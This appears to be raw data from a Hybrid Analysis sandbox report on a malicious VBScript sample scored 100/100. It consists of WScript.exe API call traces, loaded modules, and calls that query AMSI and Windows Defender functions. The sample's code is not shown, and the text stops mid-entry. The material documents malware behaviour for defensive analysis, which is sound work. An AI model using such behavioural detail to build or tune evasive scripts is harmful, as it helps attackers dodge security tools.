26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T417,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample 0b6ef2401f66… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0b6ef2401f66…. Threat score 100/100. 0/0 AV engines flagged this file. 1 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4"],"about":{"@type":"SoftwareApplication","name":"43564.vbs","applicationCategory":["script","vbs"],"identifier":"0b6ef2401f66dd90ec0f2222c5316d47dbde2c4502688dad63fdf2c15ebdc9d4","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":0},"behavioralIndicators":{"malicious":1,"suspicious":6},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tc90,"WScript.exe" called "RtlGetVersion" (UID: 00000000-00007008) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007008) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acc1a2fc7f0000000000000000000051ed87a4fc7f0000000000000a0200000000000000000000977df074769b00002a0000000000000010b1c2cf0a0200008fec87a4fc7f0000e0acc1a2fc7f0000e0acc1a2fc7f0000000000000000000000000000fc7f0000ffffff7fefaf000000000000000000000000000000000000d8ceb5a2fc7f00002a0000000000000069c36ea2fc7f00003100000000000000d402000000000000d802000000000000110001100000000000cc351b4600000003a349a2fc7f000000cc351b4600000000000000000000002b00000000000000000000000000000020b074a2fc7f0000b43f73a2fc7f0000e0ceb5a2 (UID: 00000000-00007008) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0b699fc7f0000070000000000000000000000000000000100000000000000e05ef9d10a0200000000000000000000e0bfd5d10a0200004c9848a2fc7f0000a0bad5d10a020000b3cedd83fc7f000040c2d5d10a020000004fb699fc7f0000d0b0b699fc7f00000000000000000000000000000000000040c2d5d10a020000e05ef9d10a02000000e7ded10a02000058d7351b460000004c9848a2fc7f0000010000000000000058d7351b4600000000e7ded10a02000040c2d5d10a020000010000000000000002bcdd83fc7f0000b0c4d5d10a02000000a5d3d10a020000feffffff040000007df0b599fc7f000090dfd5d1 (UID: 00000000-00007008) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000e05ef9d10a0200000000000000000000e0bfd5d10a0200004c9848a2fc7f0000a0b2d5d10a020000b3cedd83fc7f0000e0c4d5d10a020000384fb699fc7f0000d0b0b699fc7f000000000000000000000000000000000000e0c4d5d10a020000e05ef9d10a02000000e7ded10a02000050d7351b460000004c9848a2fc7f0000010000000000000050d7351b4600000000e7ded10a020000e0c4d5d10a020000010000000000000002bcdd83fc7f0000000000000000000000a5d3d10a020000b0c4d5d104000000feffffffffffffffe05ef9d10a0200007df0b599fc7f000000000000 (UID: 00000000-00007008) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007008)28:T8c8,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070f8351b460000000000000000000000c0b2c0cf0a020000d8f158a2fc7f000030f8351b460000000000000000000000011dc0cf0a0200001f0000000000000000000100000000009021c1cf0a02000000000100 (UID: 00000000-00007008) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000002cf1351b460000000000000000000000e0f4351b4600000018b4c2cf0a02000040eb351b4600000000000000000000004ef7cda0fc7f00002cf1351b460000000000000000000000000000000000000099dd58a2fc7f00000000000000000000d0ea351b46000000e0ea351b46000000010000004600000000000000 (UID: 00000000-00007008) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7bcea0fc7f00000000b099fc7f0000000000000000000000000000000000000806b199fc7f00000001000000000000f09848a2fc7f00000001000000000000000100000000000000000000000000000006b199fc7f000001000000000000000f18b099fc7f000000000000000000000006b199fc7f000000000000 (UID: 00000000-00007008) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c312990fc7f0000708b2b90fc7f00000200000000000000708b2b90fc7f000000000000000000000300000000000000b1312990fc7f0000a8152c90fc7f0000d0a0d5d10a020000e0a0d5d10a020000888b2b90fc7f00000100000000000000239f4aa2fc7f00000000000000000000888b2b90fc7f000006000000 (UID: 00000000-00007008) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d9b8ffc7f0000c0fe9c8ffc7f00000400000000000000c0fe9c8ffc7f000000000000000000000500000000000000453d9b8ffc7f0000286a9d8ffc7f0000be5acfa0fc7f000068a8d5d10a020000228269a4f3a10000b08ecfa0fc7f0000239f4aa2fc7f00000100000000000000d1329b8ffc7f00000000c8a0 (UID: 00000000-00007008) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5acfa0fc7f00000000a399fc7f000000000000000000000000000000000000883fa499fc7f00000001000000000000f09848a2fc7f0000000100000000000000010000000000000000000000000000803fa499fc7f00000100000000000000bf10a399fc7f00000000000000000000803fa499fc7f000000000000 (UID: 00000000-00007008)29:T1336,"WScript.exe" called "NtOpenKeyEx" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryValueKey" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtOpenFile" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryInformationFile" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryKey" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtSetInformationKey" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtEnumerateValueKey" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtProtectVirtualMemory" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtOpenThread" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtResumeThread" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryAttributesFile" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtMapViewOfSection" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryVolumeInformationFile" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtRequestWaitReplyPort" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtSetInformationProcess" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "LdrLoadDll" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "LdrGetDllHandle" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryVirtualMemory" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtAllocateVirtualMemory" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "GetVersionExA" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryInformationToken" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtCreateEvent" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQuerySystemInformation" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtConnectPort" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtWaitForMultipleObjects" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtOpenDirectoryObject" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtOpenThreadToken" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtOpenProcessToken" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryInformationProcess" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtAlpcConnectPort" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtAlpcSendWaitReceivePort" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "LdrGetProcedureAddress" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "RpcStringBindingComposeW" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtAlpcConnectPortEx" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtSetInformationThread" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "LdrUnloadDll" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtCreateKeyEx" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtReadFile" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtCreateThreadEx" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtOpenEvent" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtNotifyChangeKey" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtReadVirtualMemory" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtEnumerateKey" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtCreateMutant" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtSuspendThread" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtGetContextThread" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtDeviceIoControlFile" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQuerySystemTime" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtQueryDefaultLocale" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "RpcServerUseProtseqEpW" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "NtTerminateProcess" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "RtlGetNtProductType" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "RtlGetVersion" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "GetLocaleInfoW" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "GetLocaleInfoA" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "CreateToolhelp32Snapshot" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "FindResourceW" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "LoadResource" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "IsWow64Process" (PID: 7008) (UID: 00000000-00007008) "WScript.exe" called "LookupAccountSidW" (PID: 7008) (UID: 00000000-00007008)2a:T69b,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007008) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007008)2b:T21c5,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00007008) "WScript.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00007008)2c:T1377,"WScript.exe" loaded module "%WINDIR%\System32\wscript.exe" at A4C90000 "WScript.exe" loaded module "%WINDIR%\System32\ntdll.dll" at A4830000 "WScript.exe" loaded module "%WINDIR%\System32\kernel32.dll" at A2580000 "WScript.exe" loaded module "%WINDIR%\System32\KernelBase.dll" at A0C80000 "WScript.exe" loaded module "%WINDIR%\System32\msvcrt.dll" at A2470000 "WScript.exe" loaded module "%WINDIR%\System32\oleaut32.dll" at A4080000 "WScript.exe" loaded module "%WINDIR%\System32\msvcp_win.dll" at A1C60000 "WScript.exe" loaded module "%WINDIR%\System32\ucrtbase.dll" at A1160000 "WScript.exe" loaded module "%WINDIR%\System32\combase.dll" at A3D70000 "WScript.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at A2350000 "WScript.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at A0F10000 "WScript.exe" loaded module "%WINDIR%\System32\user32.dll" at A3BE0000 "WScript.exe" loaded module "%WINDIR%\System32\win32u.dll" at A0EF0000 "WScript.exe" loaded module "%WINDIR%\System32\gdi32.dll" at A4160000 "WScript.exe" loaded module "%WINDIR%\System32\gdi32full.dll" at A1A10000 "WScript.exe" loaded module "%WINDIR%\System32\ole32.dll" at A1DE0000 "WScript.exe" loaded module "%WINDIR%\System32\sechost.dll" at A20A0000 "WScript.exe" loaded module "%WINDIR%\System32\advapi32.dll" at A2270000 "WScript.exe" loaded module "%WINDIR%\System32\version.dll" at 9BC80000 "WScript.exe" loaded module "%WINDIR%\System32\imm32.dll" at A2320000 "WScript.exe" loaded module "%WINDIR%\Temp\VxSSL64.dll" at 9A140000 "WScript.exe" loaded module "%WINDIR%\System32\ws2_32.dll" at A2510000 "WScript.exe" loaded module "%WINDIR%\System32\fltLib.dll" at 98420000 "WScript.exe" loaded module "%WINDIR%\Temp\VxOle64.dll" at 90C60000 "WScript.exe" loaded module "%WINDIR%\System32\kernel.appcore.dll" at A0BD0000 "WScript.exe" loaded module "%WINDIR%\System32\uxtheme.dll" at 9F1C0000 "WScript.exe" loaded module "%WINDIR%\System32\sxs.dll" at A09E0000 "WScript.exe" loaded module "%WINDIR%\System32\msctf.dll" at D1BA0000 "WScript.exe" loaded module "%WINDIR%\System32\dwmapi.dll" at 9F430000 "WScript.exe" loaded module "%WINDIR%\System32\clbcatq.dll" at A2000000 "WScript.exe" loaded module "%WINDIR%\System32\vbscript.dll" at 84C90000 "WScript.exe" loaded module "%WINDIR%\System32\amsi.dll" at 9A0D0000 "WScript.exe" loaded module "%WINDIR%\System32\cryptsp.dll" at A0570000 "WScript.exe" loaded module "%WINDIR%\System32\userenv.dll" at A0A80000 "WScript.exe" loaded module "%WINDIR%\System32\profapi.dll" at A0C10000 "WScript.exe" loaded module "\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\MpOAV.dll" at 99B50000 "WScript.exe" loaded module "%WINDIR%\System32\MLbPPPQo.dll" at 912D0000 "WScript.exe" loaded module "%WINDIR%\System32\wldp.dll" at 9FBB0000 "WScript.exe" loaded module "%WINDIR%\System32\crypt32.dll" at A0F90000 "WScript.exe" loaded module "%WINDIR%\System32\msasn1.dll" at A0BF0000 "WScript.exe" loaded module "%WINDIR%\System32\wintrust.dll" at A1260000 "WScript.exe" loaded module "%WINDIR%\System32\rsaenh.dll" at 9FFC0000 "WScript.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at A0680000 "WScript.exe" loaded module "%WINDIR%\System32\cryptbase.dll" at A0590000 "WScript.exe" loaded module "%WINDIR%\System32\msisip.dll" at 9A0C0000 "WScript.exe" loaded module "%WINDIR%\System32\coml2.dll" at A4780000 "WScript.exe" loaded module "%WINDIR%\System32\wshext.dll" at 99B00000 "WScript.exe" loaded module "%WINDIR%\System32\shell32.dll" at A2630000 "WScript.exe" loaded module "%WINDIR%\System32\cfgmgr32.dll" at D1790000 "WScript.exe" loaded module "%WINDIR%\System32\SHCore.dll" at A1D30000 "WScript.exe" loaded module "%WINDIR%\System32\windows.storage.dll" at A12C0000 "WScript.exe" loaded module "%WINDIR%\System32\shlwapi.dll" at A1FA0000 "WScript.exe" loaded module "%WINDIR%\System32\powrprof.dll" at A0B80000 "WScript.exe" loaded module "%WINDIR%\System32\scrobj.dll" at 90290000 "WScript.exe" loaded module "%WINDIR%\System32\mlang.dll" at 85800000 "WScript.exe" loaded module "%WINDIR%\System32\wshom.ocx" at 99A30000 "WScript.exe" loaded module "%WINDIR%\System32\mpr.dll" at 9BC90000 "WScript.exe" loaded module "%WINDIR%\System32\scrrun.dll" at 8F9B0000 "WScript.exe" loaded module "\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\MpClient.dll" at 83DA0000 "WScript.exe" loaded module "%WINDIR%\System32\slc.dll" at 9F050000 "WScript.exe" loaded module "%WINDIR%\System32\sppc.dll" at 95CE0000 "WScript.exe" loaded module "%WINDIR%\System32\gpapi.dll" at 9F970000 "WScript.exe" loaded module "%WINDIR%\System32\propsys.dll" at 9B1A0000 "WScript.exe" loaded module "%WINDIR%\System32\OneCoreUAPCommonProxyStub.dll" at 9CDB0000 "WScript.exe" loaded module "%WINDIR%\System32\cldapi.dll" at 912B0000 "WScript.exe" loaded module "%WINDIR%\System32\aepic.dll" at 96E30000 "WScript.exe" loaded module "%WINDIR%\System32\ntmarta.dll" at 9FCC00002d:T982,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base a0c80000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base a0c80000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base a0c80000 "WScript.exe" loaded module "KERNEL32" at base a2580000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 90c60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 9f1c0000 "WScript.exe" loaded module "RPCRT4.DLL" at base a2350000 "WScript.exe" loaded module "KERNEL32.DLL" at base a2580000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 84c90000 "WScript.exe" loaded module "AMSI.DLL" at base 9a0d0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 99b50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLBPPPQO.DLL" at base 912d0000 "WScript.exe" loaded module "WLDP.DLL" at base 9fbb0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base a2270000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base a1260000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 9ffc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 9a0c0000 "WScript.exe" loaded module "OLE32.DLL" at base a1de0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base a0f90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 99b00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 90290000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 85800000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 99a30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 9bc80000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 83da0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base a2580000 "WScript.exe" loaded module "USERENV.DLL" at base a0a80000 "WScript.exe" loaded module "VERSION.DLL" at base 9bc80000 "WScript.exe" loaded module "SHELL32.DLL" at base a2630000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 9cdb0000 "WScript.exe" loaded 